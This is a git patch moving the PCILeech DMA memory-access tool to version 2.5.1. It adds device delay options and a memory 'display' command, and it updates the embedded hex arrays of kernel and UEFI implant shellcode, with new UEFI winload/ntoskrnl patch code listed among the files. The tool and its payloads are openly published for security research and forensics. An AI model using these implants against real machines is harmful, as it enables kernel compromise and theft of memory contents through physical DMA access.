From c6d332a3245a329fe79fed43b3d8abb05fd18277 Mon Sep 17 00:00:00 2001 From: ufrisk Date: Sun, 17 Dec 2017 22:50:07 +0100 Subject: [PATCH] Version 2.5.1 --- pcileech/device605_601.c | 28 +- pcileech/executor.c | 2 +- pcileech/extra.c | 5 + pcileech/help.c | 6 +- pcileech/memdump.c | 35 +- pcileech/memdump.h | 7 + pcileech/pcileech.c | 15 +- pcileech/pcileech.h | 8 +- pcileech/shellcode.h | 127 +-- pcileech/tlp.c | 2 +- pcileech/util.c | 11 +- pcileech/util.h | 3 +- pcileech_files/pcileech | Bin 160432 -> 164368 bytes pcileech_files/pcileech.exe | Bin 303104 -> 303616 bytes pcileech_files/uefi_textout.ksh | Bin 707 -> 906 bytes pcileech_files/uefi_winload_ntos_patch.ksh | Bin 0 -> 20319 bytes pcileech_files/wx64_filepull.ksh | Bin 2529 -> 2257 bytes pcileech_files/wx64_filepush.ksh | Bin 2197 -> 1933 bytes pcileech_files/wx64_pagesignature.ksh | Bin 2823 -> 2555 bytes pcileech_files/wx64_pscmd.ksh | Bin 8432 -> 7616 bytes pcileech_files/wx64_pscmd_user.ksh | Bin 8412 -> 7596 bytes pcileech_files/wx64_pscreate.ksh | Bin 8373 -> 7557 bytes pcileech_shellcode/fbsdx64_common.h | 8 +- pcileech_shellcode/fbsdx64_stage3_c.c | 18 +- pcileech_shellcode/lx64_common.h | 24 +- pcileech_shellcode/lx64_stage3_c.c | 14 +- pcileech_shellcode/macos_common.c | 2 +- pcileech_shellcode/macos_common.h | 14 +- pcileech_shellcode/macos_stage3_c.c | 22 +- pcileech_shellcode/pcileech_shellcode.vcxproj | 3 + .../pcileech_shellcode.vcxproj.filters | 9 + pcileech_shellcode/uefi_common.h | 167 ++- pcileech_shellcode/uefi_kmd_c.c | 22 +- pcileech_shellcode/uefi_textout.c | 11 +- pcileech_shellcode/uefi_winload_ntos_kmd.asm | 88 ++ pcileech_shellcode/uefi_winload_ntos_kmd_c.c | 431 ++++++++ pcileech_shellcode/uefi_winload_ntos_patch.c | 949 ++++++++++++++++++ pcileech_shellcode/wx64_common.c | 61 +- pcileech_shellcode/wx64_common.h | 24 +- pcileech_shellcode/wx64_exec_user_c.c | 38 +- pcileech_shellcode/wx64_pscreate.c | 307 +++--- pcileech_shellcode/wx64_stage3_c.c | 43 +- readme.md | 4 + 43 files changed, 2086 insertions(+), 422 deletions(-) create mode 100644 pcileech_files/uefi_winload_ntos_patch.ksh create mode 100644 pcileech_shellcode/uefi_winload_ntos_kmd.asm create mode 100644 pcileech_shellcode/uefi_winload_ntos_kmd_c.c create mode 100644 pcileech_shellcode/uefi_winload_ntos_patch.c diff --git a/pcileech/device605_601.c b/pcileech/device605_601.c index 1732ec6..440c61e 100644 --- a/pcileech/device605_601.c +++ b/pcileech/device605_601.c @@ -30,9 +30,9 @@ // Delay in uS. DELAY_READ=300, DELAY_WRITE=150 -> 85MB/s. // Values below are a bit more conservative for hw tolerance reasons. -#define DELAY_READ 400 -#define DELAY_WRITE 175 -#define DELAY_PROBE 500 +#define DELAY_READ_DEFAULT 400 +#define DELAY_WRITE_DEFAULT 175 +#define DELAY_PROBE_DEFAULT 500 typedef struct tdDEVICE_CONTEXT_SP605_601 { WORD wDeviceId; @@ -84,8 +84,9 @@ typedef struct tdDEVICE_CONTEXT_SP605_601 { } dev; BOOL(*hRxTlpCallbackFn)(_Inout_ PTLP_CALLBACK_BUF_MRd pBufferMrd, _In_ PBYTE pb, _In_ DWORD cb, _In_opt_ HANDLE hEventCompleted); - QWORD dbg_qwLastTx[8]; - DWORD dbg_cbLastTx; + DWORD DELAY_READ; + DWORD DELAY_WRITE; + DWORD DELAY_PROBE; } DEVICE_CONTEXT_SP605_601, *PDEVICE_CONTEXT_SP605_601; //------------------------------------------------------------------------------- @@ -297,13 +298,13 @@ BOOL Device605_601_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qwA isFlush = ((o % 0x8000) == 0x7000); if(isFlush) { Device605_601_TxTlp(ctx, (PBYTE)tx, is32 ? 12 : 16, FALSE, TRUE); - usleep(DELAY_WRITE); + usleep(ctx->DELAY_WRITE); } else { Device605_601_TxTlp(ctx, (PBYTE)tx, is32 ? 12 : 16, FALSE, FALSE); } } Device605_601_TxTlp(ctx, NULL, 0, TRUE, TRUE); - usleep(DELAY_READ); + usleep(ctx->DELAY_READ); Device605_601_RxTlpSynchronous(ctx); ctx->pMRdBuffer = NULL; return rxbuf.cb >= rxbuf.cbMax; @@ -360,7 +361,7 @@ VOID Device605_601_ProbeDMA(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qw Device605_601_TxTlp(ctx, (PBYTE)tx, is32 ? 12 : 16, FALSE, (i % 24 == 0)); } Device605_601_TxTlp(ctx, NULL, 0, TRUE, TRUE); - usleep(DELAY_PROBE); + usleep(ctx->DELAY_PROBE); Device605_601_RxTlpSynchronous(ctx); ctx->hRxTlpCallbackFn = NULL; ctx->pMRdBuffer = NULL; @@ -472,6 +473,9 @@ BOOL Device605_601_Open(_Inout_ PPCILEECH_CONTEXT ctxPcileech) ctx->txbuf.pb = LocalAlloc(0, ctx->txbuf.cbMax); if(!ctx->txbuf.pb) { goto fail; } ctx->isPrintTlp = ctxPcileech->cfg->fVerboseExtra; + ctx->DELAY_READ = ctxPcileech->cfg->qwDeviceOpt[0] ? (DWORD)ctxPcileech->cfg->qwDeviceOpt[0] : DELAY_READ_DEFAULT; + ctx->DELAY_WRITE = ctxPcileech->cfg->qwDeviceOpt[1] ? (DWORD)ctxPcileech->cfg->qwDeviceOpt[1] : DELAY_WRITE_DEFAULT; + ctx->DELAY_PROBE = ctxPcileech->cfg->qwDeviceOpt[2] ? (DWORD)ctxPcileech->cfg->qwDeviceOpt[2] : DELAY_PROBE_DEFAULT; // set callback functions and fix up config ctxPcileech->cfg->dev.tp = PCILEECH_DEVICE_SP605_FT601; ctxPcileech->cfg->dev.qwMaxSizeDmaIo = SP605_601_MAX_SIZE_RX; @@ -484,7 +488,13 @@ BOOL Device605_601_Open(_Inout_ PPCILEECH_CONTEXT ctxPcileech) ctxPcileech->cfg->dev.pfnWriteTlp = Device605_601_WriteTlp; ctxPcileech->cfg->dev.pfnListenTlp = Device605_601_ListenTlp; // return - if(ctxPcileech->cfg->fVerbose) { printf("Device Info: SP605 / FT601.\n"); } + if(ctxPcileech->cfg->fVerbose) { + if((ctx->DELAY_READ != DELAY_READ_DEFAULT) || (ctx->DELAY_WRITE != DELAY_WRITE_DEFAULT) || (ctx->DELAY_PROBE != DELAY_PROBE_DEFAULT)) { + printf("Device Info: SP605 / FT601 [%i,%i,%i]\n", ctx->DELAY_READ, ctx->DELAY_WRITE, ctx->DELAY_PROBE); + } else { + printf("Device Info: SP605 / FT601.\n"); + } + } return TRUE; fail: Device605_601_Close(ctxPcileech); diff --git a/pcileech/executor.c b/pcileech/executor.c index 1d62b95..74f7b41 100644 --- a/pcileech/executor.c +++ b/pcileech/executor.c @@ -342,7 +342,7 @@ VOID ActionExecShellcode(_Inout_ PPCILEECH_CONTEXT ctx) goto fail; } // print to screen - Util_PrintHexAscii(pbBuffer, cbLength); + Util_PrintHexAscii(pbBuffer, cbLength, 0); // write to out file if(ctx->cfg->szFileOut[0]) { // open output file diff --git a/pcileech/extra.c b/pcileech/extra.c index ac538aa..4f25907 100644 --- a/pcileech/extra.c +++ b/pcileech/extra.c @@ -198,6 +198,11 @@ VOID Action_TlpTx(_Inout_ PPCILEECH_CONTEXT ctx) { if(ctx->cfg->cbIn < 12) { printf("Action_TlpTx: Invalid TLP (too short).\n"); + return; + } + if(ctx->cfg->cbIn % 4) { + printf("Action_TlpTx: Invalid TLP (length not multiple of 4).\n"); + return; } printf("TLP: Transmitting PCIe TLP.%s\n", ctx->cfg->fVerboseExtra ? "" : " (use -vv option for detailed info)."); DeviceWriteTlp(ctx, ctx->cfg->pbIn, (DWORD)ctx->cfg->cbIn); diff --git a/pcileech/help.c b/pcileech/help.c index 0f3793f..b71446e 100644 --- a/pcileech/help.c +++ b/pcileech/help.c @@ -47,6 +47,7 @@ VOID Help_ShowGeneral() " kmdload DMA [ pt, cr3 ] \n" \ " kmdexit KMD \n" \ " mount KMD [ s ] (Windows only feature) \n" \ + " display DMA,KMD [ min, max ] \n" \ " pagedisplay DMA,KMD [ min ] \n" \ " pt_phys2virt DMA,KMD [ cr3, 0 ] \n" \ " testmemread DMA [ min ] \n" \ @@ -94,6 +95,9 @@ VOID Help_ShowGeneral() " Valid options: USB3380, SP605_FT601, SP605_TCP \n" \ " -device-addr: Remote address for -device SP605_TCP. \n" \ " -device-port: Remote TCP port for -device SP605_TCP. Default value: 28472. \n" \ + " -device-opt[0-3]: Optional additional device configuration for some devices.\n" \ + " SP605_FT605 device: NB! 0 = default!. -device-opt0 = delay read uS \n" \ + " -device-opt1 = delay write uS, -device-opt2 = delay probe uS \n" \ " -help: show help about the selected command or implant and then exit \n" \ " without running the command. Affects all modes and commands. \n" \ " Option has no value. Example: -help \n" \ @@ -140,7 +144,7 @@ VOID Help_ShowInfo() printf( " PCILEECH INFORMATION \n" \ " PCILeech (c) 2016, 2017 Ulf Frisk \n" \ - " Version: 2.5 \n" \ + " Version: 2.5.1 \n" \ " License: GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 \n" \ " Contact information: pcileech@frizk.net \n" \ " System requirements: 64-bit Windows 7, 10 or Linux. \n" \ diff --git a/pcileech/memdump.c b/pcileech/memdump.c index 1e299a8..7809c10 100644 --- a/pcileech/memdump.c +++ b/pcileech/memdump.c @@ -154,16 +154,37 @@ VOID ActionMemoryProbe(_Inout_ PPCILEECH_CONTEXT ctx) printf("Memory Probe: Completed.\n"); } -VOID ActionMemoryPageDisplay(_Inout_ PPCILEECH_CONTEXT ctx) +VOID ActionMemoryDisplay(_Inout_ PPCILEECH_CONTEXT ctx) { - BYTE pb[4096]; - QWORD qwAddr = ctx->cfg->qwAddrMin & 0x0fffffffffffff000; - if(!DeviceReadMEM(ctx, qwAddr, pb, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) { - printf("Memory Page Read: Failed reading memory at address: 0x%016llX.\n", qwAddr); + QWORD qwAddrBase, qwAddrOffset, qwSize, qwSize_4kAlign; + PBYTE pb; + // allocate and calculate values + pb = LocalAlloc(0, 0x10000); + if(!pb) { return; } + qwAddrBase = ctx->cfg->qwAddrMin & 0x0fffffffffffff000; + qwAddrOffset = ctx->cfg->qwAddrMin & 0xff0; + qwSize_4kAlign = SIZE_PAGE_ALIGN_4K(ctx->cfg->qwAddrMax) - qwAddrBase; + qwSize = ((ctx->cfg->qwAddrMax + 0xf) & 0x0fffffffffffffff0) - (qwAddrBase + qwAddrOffset); + if(qwSize_4kAlign > 0x10000) { + qwSize = 0x100; + qwSize_4kAlign = (qwAddrOffset <= 0xf00) ? 0x1000 : 0x2000; + } + // read memory and display output + if(!DeviceReadMEM(ctx, qwAddrBase, pb, (DWORD)qwSize_4kAlign, PCILEECH_MEM_FLAG_RETRYONFAIL)) { + printf("Memory Display: Failed reading memory at address: 0x%016llX.\n", qwAddrBase); + LocalFree(pb); return; } - printf("Memory Page Read: Page contents for address: 0x%016llX\n", qwAddr); - Util_PrintHexAscii(pb, 4096); + printf("Memory Display: Contents for address: 0x%016llX\n", qwAddrBase); + Util_PrintHexAscii(pb, (DWORD)qwSize, (DWORD)qwAddrOffset); + LocalFree(pb); +} + +VOID ActionMemoryPageDisplay(_Inout_ PPCILEECH_CONTEXT ctx) +{ + ctx->cfg->qwAddrMin = ctx->cfg->qwAddrMin & 0x0fffffffffffff000; + ctx->cfg->qwAddrMax = ctx->cfg->qwAddrMin + 0x1000; + ActionMemoryDisplay(ctx); } VOID ActionMemoryTestReadWrite(_Inout_ PPCILEECH_CONTEXT ctx) diff --git a/pcileech/memdump.h b/pcileech/memdump.h index 234a36d..411d9dc 100644 --- a/pcileech/memdump.h +++ b/pcileech/memdump.h @@ -47,4 +47,11 @@ VOID ActionMemoryTestReadWrite(_Inout_ PPCILEECH_CONTEXT ctx); */ VOID ActionMemoryPageDisplay(_Inout_ PPCILEECH_CONTEXT ctx); +/* +* Print out a maximum of 16kB (0x10000) memory limited by the min and max +* parameters in pCfg. By default 0x100 bytes are displayed. +* -- ctx +*/ +VOID ActionMemoryDisplay(_Inout_ PPCILEECH_CONTEXT ctx); + #endif /* __MEMDUMP_H__ */ \ No newline at end of file diff --git a/pcileech/pcileech.c b/pcileech/pcileech.c index 06a0c44..772da8a 100644 --- a/pcileech/pcileech.c +++ b/pcileech/pcileech.c @@ -33,6 +33,7 @@ BOOL PCILeechConfigIntialize(_In_ DWORD argc, _In_ char* argv[], _Inout_ PPCILEE {.tp = MOUNT,.sz = "mount" }, {.tp = USB3380_START8051,.sz = "8051start" }, {.tp = USB3380_STOP8051,.sz = "8051stop" }, + {.tp = DISPLAY,.sz = "display" }, {.tp = PAGEDISPLAY,.sz = "pagedisplay" }, {.tp = TESTMEMREAD,.sz = "testmemread" }, {.tp = TESTMEMREADWRITE,.sz = "testmemreadwrite" }, @@ -151,7 +152,9 @@ BOOL PCILeechConfigIntialize(_In_ DWORD argc, _In_ char* argv[], _Inout_ PPCILEE } } else if(2 == strlen(argv[i]) && '0' <= argv[i][1] && '9' >= argv[i][1]) { // -0..9 param ctx->cfg->qwDataIn[argv[i][1] - '0'] = Util_GetNumeric(argv[i + 1]); - } + } else if(!memcmp(argv[i], "-device-opt", 11) && (argv[i][11] >= '0') && (argv[i][11] <= '3')) { // -devopt[0-3] (device options) + ctx->cfg->qwDeviceOpt[argv[i][11] - '0'] = Util_GetNumeric(argv[i + 1]); + } i += 2; } if(!ctx->cfg->pbIn) { @@ -208,6 +211,14 @@ int main(_In_ int argc, _In_ char* argv[]) printf("PCILEECH: Out of memory.\n"); return 1; } + //LPSTR szTMP[] = { "", "-device", "SP605_TCP", "-device-addr", "192.168.1.2", "dump", "-out", "none", "-min", "0x100000000", "-max", "0x110010000" }; + //LPSTR szTMP[] = { "", "kmdload", "-kmd", "win10x64_ntfs_20170919_14240.kmd", "-min", "0x100000000" }; + //LPSTR szTMP[] = { "", "mount", "-kmd", "win10_x64"}; + //LPSTR szTMP[] = { "", "write", "-min", "0xc6010000", "-in", "c:\\temp\\16M_zero.raw"}; + //LPSTR szTMP[] = { "", "pagedisplay", "-min", "0x1000", "-vv"}; + ///LPSTR szTMP[] = { "", "dump", "-out", "none", "-min", "0x100000000", "-max", "0x120000000"}; + //LPSTR szTMP[] = { "", "tlp", "-in", "00000000c30000ffc1000000", "-vv"}; + //result = PCILeechConfigIntialize(sizeof(szTMP) / sizeof(LPSTR), szTMP, ctx); result = PCILeechConfigIntialize((DWORD)argc, argv, ctx); if(!result) { Help_ShowGeneral(); @@ -257,6 +268,8 @@ int main(_In_ int argc, _In_ char* argv[]) ActionMemoryDump(ctx); } else if(ctx->cfg->tpAction == WRITE) { ActionMemoryWrite(ctx); + } else if(ctx->cfg->tpAction == DISPLAY) { + ActionMemoryDisplay(ctx); } else if(ctx->cfg->tpAction == PAGEDISPLAY) { ActionMemoryPageDisplay(ctx); } else if(ctx->cfg->tpAction == PATCH) { diff --git a/pcileech/pcileech.h b/pcileech/pcileech.h index 9769433..14d0dae 100644 --- a/pcileech/pcileech.h +++ b/pcileech/pcileech.h @@ -29,6 +29,7 @@ typedef enum tdActionType { USB3380_FLASH, USB3380_START8051, USB3380_STOP8051, + DISPLAY, PAGEDISPLAY, TESTMEMREAD, TESTMEMREADWRITE, @@ -75,6 +76,7 @@ typedef struct tdConfig { QWORD cbIn; CHAR szInS[MAX_PATH]; QWORD qwDataIn[10]; + QWORD qwDeviceOpt[4]; ACTION_TYPE tpAction; CHAR szSignatureName[MAX_PATH]; CHAR szKMDName[MAX_PATH]; @@ -163,7 +165,7 @@ typedef struct tdKmdExec { * KMD DATA struct. This struct must be contained in a 4096 byte section (page). * This page/struct is used to communicate between the inserted kernel code and * the pcileech program. -* VNR: 002 +* VNR: 003 */ typedef struct tdKMDDATA { QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. @@ -177,8 +179,8 @@ typedef struct tdKMDDATA { QWORD _address; // [0x040] address to operate on. QWORD _size; // [0x048] size of operation / data in DMA buffer. QWORD OperatingSystem; // [0x050] operating system type - QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version). - QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use. + QWORD ReservedKMD[8]; // [0x058] reserved for specific kmd data (dependant on KMD version). + QWORD ReservedFutureUse1[13]; // [0x098] reserved for future use. QWORD dataInExtraLength; // [0x100] length of extra in-data. QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual. QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. diff --git a/pcileech/shellcode.h b/pcileech/shellcode.h index b8884cc..9f9e889 100644 --- a/pcileech/shellcode.h +++ b/pcileech/shellcode.h @@ -939,12 +939,12 @@ const BYTE UEFI_X64_BIN[] = { 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xda, 0x45, 0x33, 0xc0, 0xba, 0x00, 0x10, 0x00, 0x00, 0x48, 0x8b, 0xf9, 0xe8, 0x59, 0xfe, 0xff, 0xff, 0xba, 0x04, - 0x00, 0x00, 0x00, 0x48, 0x89, 0x5f, 0x58, 0x48, 0xb8, 0x77, 0x33, 0x33, - 0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0xc7, 0x47, 0x50, 0x10, 0x00, 0x00, - 0x00, 0xbd, 0xff, 0xff, 0xff, 0xff, 0x48, 0x89, 0x07, 0x4c, 0x8d, 0x4c, - 0x24, 0x30, 0x48, 0x89, 0x6c, 0x24, 0x30, 0x8d, 0x5a, 0xfd, 0x48, 0xc7, - 0x47, 0x18, 0x00, 0x00, 0x00, 0x01, 0x8b, 0xcb, 0x41, 0xb8, 0x00, 0x10, - 0x00, 0x00, 0xe8, 0x2f, 0xfe, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x31, + 0x00, 0x00, 0x00, 0x48, 0xc7, 0x47, 0x50, 0x10, 0x00, 0x00, 0x00, 0x48, + 0xb8, 0x77, 0x33, 0x33, 0x11, 0x77, 0x33, 0x11, 0xff, 0x4c, 0x8d, 0x4c, + 0x24, 0x30, 0x48, 0x89, 0x07, 0xbd, 0xff, 0xff, 0xff, 0xff, 0x48, 0x89, + 0x5f, 0x58, 0x41, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x8d, 0x5a, 0xfd, 0x48, + 0x89, 0x6c, 0x24, 0x30, 0x8b, 0xcb, 0x48, 0xc7, 0x47, 0x18, 0x00, 0x00, + 0x00, 0x01, 0xe8, 0x2f, 0xfe, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x31, 0x4c, 0x8d, 0x4c, 0x24, 0x30, 0x48, 0x89, 0x6c, 0x24, 0x30, 0x8d, 0x53, 0x03, 0x48, 0xc7, 0x47, 0x18, 0x00, 0x00, 0x40, 0x00, 0x41, 0xb8, 0x00, 0x04, 0x00, 0x00, 0x8b, 0xcb, 0xe8, 0x08, 0xfe, 0xff, 0xff, 0x48, 0x85, @@ -977,11 +977,11 @@ const BYTE UEFI_X64_BIN[] = { const BYTE WINX64_VFS_KSH[] = { - 0x37, 0x13, 0xec, 0x3c, 0x72, 0x06, 0xae, 0x99, 0x7a, 0x09, 0xe0, 0x83, - 0x60, 0xa6, 0x94, 0x62, 0xb6, 0x64, 0x74, 0xfb, 0x90, 0x49, 0xd7, 0x36, - 0xc7, 0xfe, 0x97, 0xc0, 0x26, 0xe0, 0x4c, 0xac, 0xb3, 0xa5, 0x41, 0x65, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x0a, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x9a, 0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x37, 0x13, 0xec, 0x3c, 0xfd, 0xf7, 0x30, 0x9f, 0x78, 0x47, 0xc0, 0x51, + 0x0e, 0x3b, 0xb5, 0x58, 0x72, 0xa5, 0xe9, 0x42, 0x30, 0x50, 0xe4, 0x5e, + 0xdf, 0x7b, 0x18, 0x97, 0x75, 0x04, 0xfa, 0x02, 0xf2, 0x66, 0x21, 0x13, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd7, 0x09, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x72, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, @@ -1096,7 +1096,7 @@ const BYTE WINX64_VFS_KSH[] = { 0xc0, 0x48, 0x89, 0x44, 0x24, 0x38, 0x33, 0xd2, 0x41, 0x8b, 0x86, 0x30, 0x03, 0x00, 0x00, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8d, 0x45, 0xf7, 0x48, 0x89, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0x4d, 0x6f, 0x48, 0x89, 0x44, 0x24, - 0x20, 0xff, 0x97, 0xb0, 0x00, 0x00, 0x00, 0x8b, 0xd8, 0x85, 0xc0, 0x75, + 0x20, 0xff, 0x97, 0xb8, 0x00, 0x00, 0x00, 0x8b, 0xd8, 0x85, 0xc0, 0x75, 0x0b, 0x48, 0x8b, 0x45, 0xff, 0x48, 0x89, 0x86, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x6f, 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, 0x97, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x8b, @@ -1148,70 +1148,45 @@ const BYTE WINX64_VFS_KSH[] = { 0xcb, 0xe8, 0x7e, 0xf9, 0xff, 0xff, 0xeb, 0xa0, 0xb8, 0x01, 0x00, 0x00, 0xc0, 0x48, 0x89, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xf0, 0x00, 0x00, 0x00, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, - 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x55, - 0x48, 0x8d, 0xa8, 0x38, 0xff, 0xff, 0xff, 0x48, 0x81, 0xec, 0xc0, 0x01, - 0x00, 0x00, 0xb8, 0x4a, 0x45, 0x3b, 0xd7, 0x48, 0x89, 0x54, 0x24, 0x20, - 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8b, 0xf1, 0x48, 0x8d, 0x42, 0x08, - 0x48, 0xc7, 0x44, 0x24, 0x38, 0x62, 0xe0, 0x07, 0x37, 0x48, 0x89, 0x44, - 0x24, 0x30, 0xb9, 0x2a, 0xd0, 0x35, 0x30, 0x48, 0x8d, 0x42, 0x10, 0x48, - 0xc7, 0x44, 0x24, 0x68, 0x92, 0x6d, 0x58, 0x58, 0x48, 0x89, 0x44, 0x24, - 0x40, 0xb8, 0x1f, 0x9d, 0x48, 0x9d, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, - 0x8d, 0x42, 0x18, 0x48, 0x89, 0x44, 0x24, 0x50, 0xb8, 0xa1, 0x7b, 0xcc, - 0xdc, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8d, 0x42, 0x20, 0x48, 0x89, - 0x44, 0x24, 0x60, 0x48, 0x8d, 0x42, 0x28, 0x48, 0x89, 0x44, 0x24, 0x70, - 0x48, 0x8d, 0x42, 0x30, 0x48, 0x89, 0x45, 0x80, 0x48, 0x8d, 0x42, 0x38, - 0x48, 0x89, 0x45, 0x90, 0x48, 0x8d, 0x42, 0x40, 0x48, 0x89, 0x45, 0xa0, - 0x48, 0x8d, 0x42, 0x48, 0x48, 0x89, 0x45, 0xb0, 0xb8, 0xf7, 0x38, 0xb3, - 0x9d, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x8d, 0x42, 0x50, 0x48, 0x89, 0x45, - 0xc0, 0x48, 0x8d, 0x42, 0x58, 0x48, 0x89, 0x45, 0xd0, 0xb8, 0x89, 0x83, - 0x6c, 0xeb, 0x48, 0x89, 0x45, 0xd8, 0x48, 0x8d, 0x42, 0x60, 0x48, 0x89, - 0x45, 0xe0, 0xb8, 0x9b, 0x97, 0x64, 0xcf, 0x48, 0x89, 0x45, 0xe8, 0x48, - 0x8d, 0x42, 0x68, 0x48, 0x89, 0x45, 0xf0, 0xb8, 0x2a, 0xc0, 0xb2, 0xa8, - 0x48, 0x89, 0x45, 0xf8, 0x48, 0x8d, 0x42, 0x70, 0x48, 0x89, 0x45, 0x00, - 0x48, 0x8d, 0x42, 0x78, 0x48, 0x89, 0x45, 0x10, 0x48, 0x89, 0x45, 0x20, - 0x48, 0x8d, 0x82, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x30, 0xb8, - 0xdb, 0x4f, 0x3d, 0xc5, 0x48, 0x89, 0x45, 0x38, 0x48, 0x8d, 0x82, 0x88, - 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48, 0x8d, 0x82, 0x90, 0x00, - 0x00, 0x00, 0x48, 0x89, 0x45, 0x50, 0xb8, 0x9d, 0x8f, 0xa0, 0xc3, 0x48, - 0x89, 0x45, 0x58, 0x48, 0x8d, 0x82, 0x98, 0x00, 0x00, 0x00, 0x48, 0x89, - 0x45, 0x60, 0xb8, 0xb8, 0xd4, 0x29, 0x88, 0x48, 0x89, 0x45, 0x68, 0x48, - 0x8d, 0x82, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x70, 0xb8, 0x16, - 0x35, 0xfd, 0x87, 0x48, 0x89, 0x45, 0x78, 0x48, 0x8d, 0x82, 0xa0, 0x00, - 0x00, 0x00, 0x48, 0x89, 0x85, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x82, - 0xa8, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x44, 0x24, 0x78, 0xce, 0xad, 0x90, - 0x4d, 0x48, 0xc7, 0x45, 0x88, 0x57, 0x63, 0x32, 0x5a, 0x48, 0xc7, 0x45, - 0x98, 0x8f, 0xb5, 0x6a, 0x6a, 0x48, 0xc7, 0x45, 0xa8, 0xf9, 0xbe, 0xdd, - 0x05, 0x48, 0xc7, 0x45, 0xc8, 0xc9, 0xc5, 0x6e, 0x6c, 0x48, 0xc7, 0x45, - 0x08, 0x3d, 0x28, 0xc3, 0x7c, 0x48, 0x89, 0x4d, 0x18, 0x48, 0x89, 0x4d, - 0x28, 0x48, 0xc7, 0x45, 0x48, 0x61, 0x4c, 0x04, 0x5d, 0x48, 0xc7, 0x85, - 0x88, 0x00, 0x00, 0x00, 0x50, 0x64, 0xb0, 0x6f, 0x48, 0x89, 0x85, 0x90, - 0x00, 0x00, 0x00, 0x48, 0x8d, 0x5c, 0x24, 0x20, 0xb8, 0xe2, 0xca, 0x61, - 0xe6, 0x48, 0xc7, 0x85, 0xb8, 0x00, 0x00, 0x00, 0x36, 0x31, 0x0e, 0x68, - 0x48, 0x89, 0x85, 0x98, 0x00, 0x00, 0x00, 0xbf, 0x1a, 0x00, 0x00, 0x00, - 0x48, 0x8d, 0x82, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x85, 0xa0, 0x00, - 0x00, 0x00, 0xb8, 0xde, 0x24, 0xe6, 0xf7, 0x48, 0x89, 0x85, 0xa8, 0x00, - 0x00, 0x00, 0x48, 0x8d, 0x82, 0xc0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x85, - 0xb0, 0x00, 0x00, 0x00, 0x8b, 0x53, 0x08, 0x48, 0x8b, 0xce, 0xe8, 0x29, - 0x00, 0x00, 0x00, 0x48, 0x8b, 0x0b, 0x48, 0x8d, 0x5b, 0x10, 0x48, 0x89, - 0x01, 0x48, 0x83, 0xef, 0x01, 0x75, 0xe5, 0x4c, 0x8d, 0x9c, 0x24, 0xc0, - 0x01, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, - 0x8b, 0x7b, 0x20, 0x49, 0x8b, 0xe3, 0x5d, 0xc3, 0x48, 0x8b, 0xc4, 0x48, - 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, - 0x89, 0x78, 0x20, 0x8b, 0xea, 0x48, 0x85, 0xc9, 0x74, 0x7a, 0xb8, 0x4d, - 0x5a, 0x00, 0x00, 0x66, 0x39, 0x01, 0x75, 0x70, 0x48, 0x63, 0x41, 0x3c, - 0x48, 0x03, 0xc1, 0x74, 0x67, 0x81, 0x38, 0x50, 0x45, 0x00, 0x00, 0x75, - 0x5f, 0x8b, 0x90, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xd1, 0x74, 0x54, - 0x44, 0x8b, 0x5a, 0x18, 0x45, 0x85, 0xdb, 0x74, 0x4b, 0x8b, 0x42, 0x20, - 0x85, 0xc0, 0x74, 0x44, 0x8b, 0x72, 0x24, 0x4c, 0x8d, 0x0c, 0x01, 0x8b, - 0x7a, 0x1c, 0x48, 0x03, 0xf1, 0x48, 0x03, 